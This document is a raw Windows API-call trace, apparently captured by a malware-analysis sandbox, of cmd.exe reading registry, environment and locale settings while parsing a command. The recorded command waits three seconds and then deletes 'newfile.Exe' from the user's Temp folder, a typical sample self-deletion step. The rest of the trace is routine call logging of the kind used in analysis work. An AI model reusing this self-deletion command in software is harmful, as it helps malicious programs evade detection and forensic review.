lpcbData=0x1ee864*=0x1000 | out: lpType=0x1ee860*=0x0, lpData=0x1ee880*=0x18, lpcbData=0x1ee864*=0x1000) returned 0x2 [0250.579] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ee860, lpData=0x1ee880, lpcbData=0x1ee864*=0x1000 | out: lpType=0x1ee860*=0x4, lpData=0x1ee880*=0x1, lpcbData=0x1ee864*=0x4) returned 0x0 [0250.579] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ee860, lpData=0x1ee880, lpcbData=0x1ee864*=0x1000 | out: lpType=0x1ee860*=0x0, lpData=0x1ee880*=0x1, lpcbData=0x1ee864*=0x1000) returned 0x2 [0250.579] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ee860, lpData=0x1ee880, lpcbData=0x1ee864*=0x1000 | out: lpType=0x1ee860*=0x4, lpData=0x1ee880*=0x0, lpcbData=0x1ee864*=0x4) returned 0x0 [0250.579] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ee860, lpData=0x1ee880, lpcbData=0x1ee864*=0x1000 | out: lpType=0x1ee860*=0x4, lpData=0x1ee880*=0x40, lpcbData=0x1ee864*=0x4) returned 0x0 [0250.579] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ee860, lpData=0x1ee880, lpcbData=0x1ee864*=0x1000 | out: lpType=0x1ee860*=0x4, lpData=0x1ee880*=0x40, lpcbData=0x1ee864*=0x4) returned 0x0 [0250.579] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ee860, lpData=0x1ee880, lpcbData=0x1ee864*=0x1000 | out: lpType=0x1ee860*=0x0, lpData=0x1ee880*=0x40, lpcbData=0x1ee864*=0x1000) returned 0x2 [0250.579] RegCloseKey (hKey=0x44) returned 0x0 [0250.579] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ee868 | out: phkResult=0x1ee868*=0x44) returned 0x0 [0250.579] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ee860, lpData=0x1ee880, lpcbData=0x1ee864*=0x1000 | out: lpType=0x1ee860*=0x0, lpData=0x1ee880*=0x40, lpcbData=0x1ee864*=0x1000) returned 0x2 [0250.580] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ee860, lpData=0x1ee880, lpcbData=0x1ee864*=0x1000 | out: lpType=0x1ee860*=0x4, lpData=0x1ee880*=0x1, lpcbData=0x1ee864*=0x4) returned 0x0 [0250.580] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ee860, lpData=0x1ee880, lpcbData=0x1ee864*=0x1000 | out: lpType=0x1ee860*=0x0, lpData=0x1ee880*=0x1, lpcbData=0x1ee864*=0x1000) returned 0x2 [0250.580] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ee860, lpData=0x1ee880, lpcbData=0x1ee864*=0x1000 | out: lpType=0x1ee860*=0x4, lpData=0x1ee880*=0x0, lpcbData=0x1ee864*=0x4) returned 0x0 [0250.580] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ee860, lpData=0x1ee880, lpcbData=0x1ee864*=0x1000 | out: lpType=0x1ee860*=0x4, lpData=0x1ee880*=0x9, lpcbData=0x1ee864*=0x4) returned 0x0 [0250.580] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ee860, lpData=0x1ee880, lpcbData=0x1ee864*=0x1000 | out: lpType=0x1ee860*=0x4, lpData=0x1ee880*=0x9, lpcbData=0x1ee864*=0x4) returned 0x0 [0250.580] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ee860, lpData=0x1ee880, lpcbData=0x1ee864*=0x1000 | out: lpType=0x1ee860*=0x0, lpData=0x1ee880*=0x9, lpcbData=0x1ee864*=0x1000) returned 0x2 [0250.580] RegCloseKey (hKey=0x44) returned 0x0 [0250.580] time (in: timer=0x0 | out: timer=0x0) returned 0x5e56ae62 [0250.580] srand (_Seed=0x5e56ae62) [0250.580] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" \"/C choice /C Y /N /D Y /T 3 & Del \"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\newfile.Exe" [0250.580] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" \"/C choice /C Y /N /D Y /T 3 & Del \"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\newfile.Exe" [0250.580] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa0c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0250.580] GetProcessHeap () returned 0x1f0000 [0250.581] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x218) returned 0x208da0 [0250.581] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x208db0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0250.581] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a9ff360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0250.581] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a9ff360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0250.581] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a9ff360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0250.581] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0250.581] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0250.581] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0250.581] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0250.581] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0250.581] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0250.581] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0250.581] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0250.581] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0250.581] GetProcessHeap () returned 0x1f0000 [0250.581] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x209970 | out: hHeap=0x1f0000) returned 1 [0250.581] GetEnvironmentStringsW () returned 0x208fc0* [0250.581] GetProcessHeap () returned 0x1f0000 [0250.581] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0xbda) returned 0x20bd00 [0250.582] FreeEnvironmentStringsW (penv=0x208fc0) returned 1 [0250.582] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a9ff360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0250.582] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a9ff360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0250.582] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0250.582] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0250.582] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0250.582] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0250.582] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0250.582] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0250.582] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0250.582] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0250.582] GetProcessHeap () returned 0x1f0000 [0250.582] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x44) returned 0x208c00 [0250.582] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1ef670 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0250.582] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x1ef670, lpFilePart=0x1ef650 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x1ef650*="Desktop") returned 0x19 [0250.582] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0250.582] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1ef380 | out: lpFindFileData=0x1ef380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2329edc0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2329edc0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbd0000bd, cFileName="Users", cAlternateFileName="")) returned 0x20c8f0 [0250.583] FindClose (in: hFindFile=0x20c8f0 | out: hFindFile=0x20c8f0) returned 1 [0250.583] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x1ef380 | out: lpFindFileData=0x1ef380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2329edc0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x7d929a80, ftLastAccessTime.dwHighDateTime=0x1d2f182, ftLastWriteTime.dwLowDateTime=0x7d929a80, ftLastWriteTime.dwHighDateTime=0x1d2f182, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbd0000bd, cFileName="aETAdzjz", cAlternateFileName="")) returned 0x20c8f0 [0250.583] FindClose (in: hFindFile=0x20c8f0 | out: hFindFile=0x20c8f0) returned 1 [0250.583] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x1ef380 | out: lpFindFileData=0x1ef380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x523cd6a0, ftLastAccessTime.dwHighDateTime=0x1d5eccc, ftLastWriteTime.dwLowDateTime=0x523cd6a0, ftLastWriteTime.dwHighDateTime=0x1d5eccc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbd0000bd, cFileName="Desktop", cAlternateFileName="")) returned 0x20c8f0 [0250.583] FindClose (in: hFindFile=0x20c8f0 | out: hFindFile=0x20c8f0) returned 1 [0250.583] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0250.583] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1 [0250.583] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1 [0250.583] GetProcessHeap () returned 0x1f0000 [0250.583] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x20bd00 | out: hHeap=0x1f0000) returned 1 [0250.583] GetEnvironmentStringsW () returned 0x20bd00* [0250.584] GetProcessHeap () returned 0x1f0000 [0250.584] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0xbda) returned 0x208fc0 [0250.584] FreeEnvironmentStringsW (penv=0x20bd00) returned 1 [0250.584] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa0c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0250.584] GetProcessHeap () returned 0x1f0000 [0250.584] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x208c00 | out: hHeap=0x1f0000) returned 1 [0250.584] GetProcessHeap () returned 0x1f0000 [0250.584] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x4016) returned 0x20bd00 [0250.584] GetProcessHeap () returned 0x1f0000 [0250.584] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0xb6) returned 0x209bb0 [0250.584] GetProcessHeap () returned 0x1f0000 [0250.584] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x20bd00 | out: hHeap=0x1f0000) returned 1 [0250.584] GetConsoleOutputCP () returned 0x1b5 [0250.585] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa0bfe0 | out: lpCPInfo=0x4aa0bfe0) returned 1 [0250.585] GetUserDefaultLCID () returned 0x409 [0250.585] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4aa07b50, cchData=8 | out: lpLCData=":") returned 2 [0250.585] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1ef780, cchData=128 | out: lpLCData="0") returned 2 [0250.585] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1ef780, cchData=128 | out: lpLCData="0") returned 2 [0250.585] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1ef780, cchData=128 | out: lpLCData="1") returned 2 [0250.585] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4aa1a740, cchData=8 | out: lpLCData="/") returned 2 [0250.585] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4aa1a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0250.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4aa1a460, cchData=32 | out: lpLCData="Tue") returned 4 [0250.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4aa1a420, cchData=32 | out: lpLCData="Wed") returned 4 [0250.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4aa1a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0250.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4aa1a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0250.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4aa1a360, cchData=32 | out: lpLCData="Sat") returned 4 [0250.586] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4aa1a700, cchData=32 | out: lpLCData="Sun") returned 4 [0250.586] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4aa07b40, cchData=8 | out: lpLCData=".") returned 2 [0250.586] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4aa1a4e0, cchData=8 | out: lpLCData=",") returned 2 [0250.586] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0250.587] GetProcessHeap () returned 0x1f0000 [0250.587] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x0, Size=0x20c) returned 0x209ce0 [0250.587] GetConsoleTitleW (in: lpConsoleTitle=0x209ce0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0250.587] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x778b0000 [0250.587] GetProcAddress (hModule=0x778b0000, lpProcName="CopyFileExW") returned 0x778c23d0 [0250.588] GetProcAddress (hModule=0x778b0000, lpProcName="IsDebuggerPresent") returned 0x778b8290 [0250.588] GetProcAddress (hModule=0x778b0000, lpProcName="SetConsoleInputExeNameW") returned 0x778c17e0 [0250.588] GetProcessHeap () returned 0x1f0000 [0250.588] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x4012) returned 0x20bd00 [0250.588] GetProcessHeap () returned 0x1f0000 [0250.588] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x20bd00 | out: hHeap=0x1f0000) returned 1 [0250.589] _wcsicmp (_String1="choice", _String2=")") returned 58 [0250.590] _wcsicmp (_String1="FOR", _String2="choice") returned 3 [0250.590] _wcsicmp (_String1="FOR/?", _String2="choice") returned 3 [0250.590] _wcsicmp (_String1="IF", _String2="choice") returned 6 [0250.590] _wcsicmp (_String1="IF/?", _String2="choice") returned 6 [0250.590] _wcsicmp (_String1="REM", _String2="choice") returned 15 [0250.590] _wcsicmp (_String1="REM/?", _String2="choice") returned 15 [0250.590] GetProcessHeap () returned 0x1f0000 [0250.590] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0xb0) returned 0x209f00 [0250.590] GetProcessHeap () returned 0x1f0000 [0250.590] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x1e) returned 0x204820 [0250.590] GetProcessHeap () returned 0x1f0000 [0250.590] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x38) returned 0x206820 [0250.591] GetProcessHeap () returned 0x1f0000 [0250.591] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0xb0) returned 0x209fc0 [0250.592] _wcsicmp (_String1="Del", _String2=")") returned 59 [0250.592] _wcsicmp (_String1="FOR", _String2="Del") returned 2 [0250.592] _wcsicmp (_String1="FOR/?", _String2="Del") returned 2 [0250.592] _wcsicmp (_String1="IF", _String2="Del") returned 5 [0250.592] _wcsicmp (_String1="IF/?", _String2="Del") returned 5 [0250.592] _wcsicmp (_String1="REM", _String2="Del") returned 14 [0250.592] _wcsicmp (_String1="REM/?", _String2="Del") returned 14 [0250.592] GetProcessHeap () returned 0x1f0000 [0250.592] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0xb0) returned 0x20a080 [0250.592] GetProcessHeap () returned 0x1f0000 [0250.592] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x18) returned 0x208c00 [0250.593] GetProcessHeap () returned 0x1f0000 [0250.593] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x76) returned 0x20a140 [0250.594] GetConsoleTitleW (in: lpConsoleTitle=0x1ef5d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0250.595] _wcsicmp (_String1="choice", _String2="DIR") returned -1 [0250.595] _wcsicmp (_String1="choice", _String2="ERASE") returned -2 [0250.595] _wcsicmp (_String1="choice", _String2="DEL") returned -1 [0250.595] _wcsicmp (_String1="choice", _String2="TYPE") returned -17 [0250.595] _wcsicmp (_String1="choice", _String2="COPY") returned -7 [0250.595] _wcsicmp (_String1="choice", _String2="CD") returned 4 [0250.595] _wcsicmp (_String1="choice", _String2="CHDIR") returned 11 [0250.595] _wcsicmp (_String1="choice", _String2="RENAME") returned -15 [0250.595] _wcsicmp (_String1="choice", _String2="REN") returned -15 [0250.595] _wcsicmp (_String1="choice", _String2="ECHO") returned -2 [0250.595] _wcsicmp (_String1="choice", _String2="SET") returned -16 [0250.595] _wcsicmp (_String1="choice", _String2="PAUSE") returned -13 [0250.595] _wcsicmp (_String1="choice", _String2="DATE") returned -1 [0250.595] _wcsicmp (_String1="choice", _String2="TIME") returned -17 [0250.595] _wcsicmp (_String1="choice", _String2="PROMPT") returned -13 [0250.595] _wcsicmp (_String1="choice", _String2="MD") returned -10 [0250.595] _wcsicmp (_String1="choice", _String2="MKDIR") returned -10 [0250.595] _wcsicmp (_String1="choice", _String2="RD") returned -15 [0250.595] _wcsicmp (_String1="choice", _String2="RMDIR") returned -15 [0250.595] _wcsicmp (_String1="choice", _String2="PATH") returned -13 [0250.595] _wcsicmp (_String1="choice", _String2="GOTO") returned -4 [0250.595] _wcsicmp (_String1="choice", _String2="SHIFT") returned -16 [0250.595] _wcsicmp (_String1="choice", _String2="CLS") returned -4 [0250.595] _wcsicmp (_String1="choice", _String2="CALL") returned 7 [0250.596] _wcsicmp (_String1="choice", _String2="VERIFY") returned -19 [0250.596] _wcsicmp (_String1="choice", _String2="VER") returned -19 [0250.596] _wcsicmp (_String1="choice", _String2="VOL") returned -19 [0250.596] _wcsicmp (_String1="choice", _String2="EXIT") returned -2 [0250.596] _wcsicmp (_String1="choice", _String2="SETLOCAL") returned -16 [0250.596] _wcsicmp (_String1="choice", _String2="ENDLOCAL") returned -2 [0250.596] _wcsicmp (_String1="choice", _String2="TITLE") returned -17 [0250.596] _wcsicmp (_String1="choice", _String2="START") returned -16 [0250.596] _wcsicmp (_String1="choice", _String2="DPATH") returned -1 [0250.596] _wcsicmp (_String1="choice", _String2="KEYS") returned -8 [0250.596] _wcsicmp (_String1="choice", _String2="MOVE") returned -10 [0250.596] _wcsicmp (_String1="choice", _String2="PUSHD") returned -13 [0250.596] _wcsicmp (_String1="choice", _String2="POPD") returned -13 [0250.596] _wcsicmp (_String1="choice", _String2="ASSOC") returned 2 [0250.596] _wcsicmp (_String1="choice", _String2="FTYPE") returned -3 [0250.596] _wcsicmp (_String1="choice", _String2="BREAK") returned 1 [0250.596] _wcsicmp (_String1="choice", _String2="COLOR") returned -7 [0250.596] _wcsicmp (_String1="choice", _String2="MKLINK") returned -10 [0250.596] _wcsicmp (_String1="choice", _String2="DIR") returned -1 [0250.596] _wcsicmp (_String1="choice", _String2="ERASE") returned -2 [0250.596] _wcsicmp (_String1="choice", _String2="DEL") returned -1 [0250.596] _wcsicmp (_String1="choice", _String2="TYPE") returned -17 [0250.596] _wcsicmp (_String1="choice", _String2="COPY") returned -7 [0250.596] _wcsicmp (_String1="choice", _String2="CD") returned 4 [0250.596] _wcsicmp (_String1="choice", _String2="CHDIR") returned 11 [0250.596] _wcsicmp (_String1="choice", _String2="RENAME") returned -15 [0250.596] _wcsicmp (_String1="choice", _String2="REN") returned -15 [0250.596] _wcsicmp (_String1="choice", _String2="ECHO") returned -2 [0250.596] _wcsicmp (_String1="choice", _String2="SET") returned -16 [0250.597] _wcsicmp (_String1="choice", _String2="PAUSE") returned -13 [0250.597] _wcsicmp (_String1="choice", _String2="DATE") returned -1 [0250.597] _wcsicmp (_String1="choice", _String2="TIME") returned -17 [0250.597] _wcsicmp (_String1="choice", _String2="PROMPT") returned -13 [0250.597] _wcsicmp (_String1="choice", _String2="MD") returned -10 [0250.597] _wcsicmp (_String1="choice", _String2="MKDIR") returned -10 [0250.597] _wcsicmp (_String1="choice", _String2="RD") returned -15 [0250.597] _wcsicmp (_String1="choice", _String2="RMDIR") returned -15 [0250.597] _wcsicmp (_String1="choice", _String2="PATH") returned -13 [0250.597] _wcsicmp (_String1="choice", _String2="GOTO") returned -4 [0250.597] _wcsicmp (_String1="choice", _String2="SHIFT") returned -16 [0250.597] _wcsicmp (_String1="choice", _String2="CLS") returned -4 [0250.597] _wcsicmp (_String1="choice", _String2="CALL") returned 7 [0250.597] _wcsicmp (_String1="choice", _String2="VERIFY") returned -19 [0250.597] _wcsicmp (_String1="choice", _String2="VER") returned -19 [0250.597] _wcsicmp (_String1="choice", _String2="VOL") returned -19 [0250.597] _wcsicmp (_String1="choice", _String2="EXIT") returned -2 [0250.597] _wcsicmp (_String1="choice", _String2="SETLOCAL") returned -16 [0250.597] _wcsicmp (_String1="choice", _String2="ENDLOCAL") returned -2 [0250.597] _wcsicmp (_String1="choice", _String2="TITLE") returned -17 [0250.597] _wcsicmp (_String1="choice", _String2="START") returned -16 [0250.597] _wcsicmp (_String1="choice", _String2="DPATH") returned -1 [0250.597] _wcsicmp (_String1="choice", _String2="KEYS") returned -8 [0250.597] _wcsicmp (_String1="choice", _String2="MOVE") returned -10 [0250.597] _wcsicmp (_String1="choice", _String2="PUSHD") returned -13 [0250.597] _wcsicmp (_String1="choice", _String2="POPD") returned -13 [0250.597] _wcsicmp (_String1="choice", _String2="ASSOC") returned 2 [0250.597] _wcsicmp (_String1="choice", _String2="FTYPE") returned -3 [0250.597] _wcsicmp (_String1="choice", _String2="BREAK") returned 1 [0250.597] _wcsicmp (_String1="choice", _String2="COLOR") returned -7 [0250.598] _wcsicmp (_String1="choice", _String2="MKLINK") returned -10 [0250.598] _wcsicmp (_String1="choice", _String2="FOR") returned -3 [0250.598] _wcsicmp (_String1="choice", _String2="IF") returned -6 [0250.598] _wcsicmp (_String1="choice", _String2="REM") returned -15 [0250.598] GetProcessHeap () returned 0x1f0000 [0250.598] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x218) returned 0x20a1c0 [0250.598] GetProcessHeap () returned 0x1f0000 [0250.598] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x46) returned 0x20bd30 [0250.598] _wcsnicmp (_String1="choi", _String2="cmd ", _MaxCount=0x4) returned -5 [0250.598] GetProcessHeap () returned 0x1f0000 [0250.599] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x420) returned 0x1f1320 [0250.599] SetErrorMode (uMode=0x0) returned 0x0 [0250.599] SetErrorMode (uMode=0x1) returned 0x0 [0250.599] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1f1330, lpFilePart=0x1eee60 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x1eee60*="Desktop") returned 0x19 [0250.599] SetErrorMode (uMode=0x0) returned 0x1 [0250.599] GetProcessHeap () returned 0x1f0000 [0250.599] RtlReAllocateHeap (Heap=0x1f0000, Flags=0x0, Ptr=0x1f1320, Size=0x52) returned 0x1f1320 [0250.599] GetProcessHeap () returned 0x1f0000 [0250.599] RtlSizeHeap (HeapHandle=0x1f0000, Flags=0x0, MemoryPointer=0x1f1320) returned 0x52 [0250.599] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a9ff360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0250.599] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0250.599] GetProcessHeap () returned 0x1f0000 [0250.599] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x16c) returned 0x1f1390 [0250.599] GetProcessHeap () returned 0x1f0000 [0250.600] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x2c8) returned 0x1f1510 [0250.609] RtlReAllocateHeap (Heap=0x1f0000, Flags=0x0, Ptr=0x1f1510, Size=0x16e) returned 0x1f1510 [0250.609] GetProcessHeap () returned 0x1f0000 [0250.609] RtlSizeHeap (HeapHandle=0x1f0000, Flags=0x0, MemoryPointer=0x1f1510) returned 0x16e [0250.610] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a9ff360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0250.610] GetProcessHeap () returned 0x1f0000 [0250.610] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0xe8) returned 0x20a3e0 [0250.610] RtlReAllocateHeap (Heap=0x1f0000, Flags=0x0, Ptr=0x20a3e0, Size=0x7e) returned 0x20a3e0 [0250.610] GetProcessHeap () returned 0x1f0000 [0250.610] RtlSizeHeap (HeapHandle=0x1f0000, Flags=0x0, MemoryPointer=0x20a3e0) returned 0x7e [0250.612] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\choice.*", fInfoLevelId=0x1, lpFindFileData=0x1eebd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eebd0) returned 0xffffffffffffffff [0250.612] GetLastError () returned 0x2 [0250.612] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\choice", fInfoLevelId=0x1, lpFindFileData=0x1eebd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eebd0) returned 0xffffffffffffffff [0250.612] GetLastError () returned 0x2 [0250.613] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\choice.*", fInfoLevelId=0x1, lpFindFileData=0x1eebd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eebd0) returned 0x20a470 [0250.613] GetProcessHeap () returned 0x1f0000 [0250.613] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x0, Size=0x28) returned 0x204850 [0250.613] FindClose (in: hFindFile=0x20a470 | out: hFindFile=0x20a470) returned 1 [0250.613] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\choice.COM", fInfoLevelId=0x1, lpFindFileData=0x1eebd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eebd0) returned 0xffffffffffffffff [0250.613] GetLastError () returned 0x2 [0250.614] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\choice.EXE", fInfoLevelId=0x1, lpFindFileData=0x1eebd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eebd0) returned 0x20a470 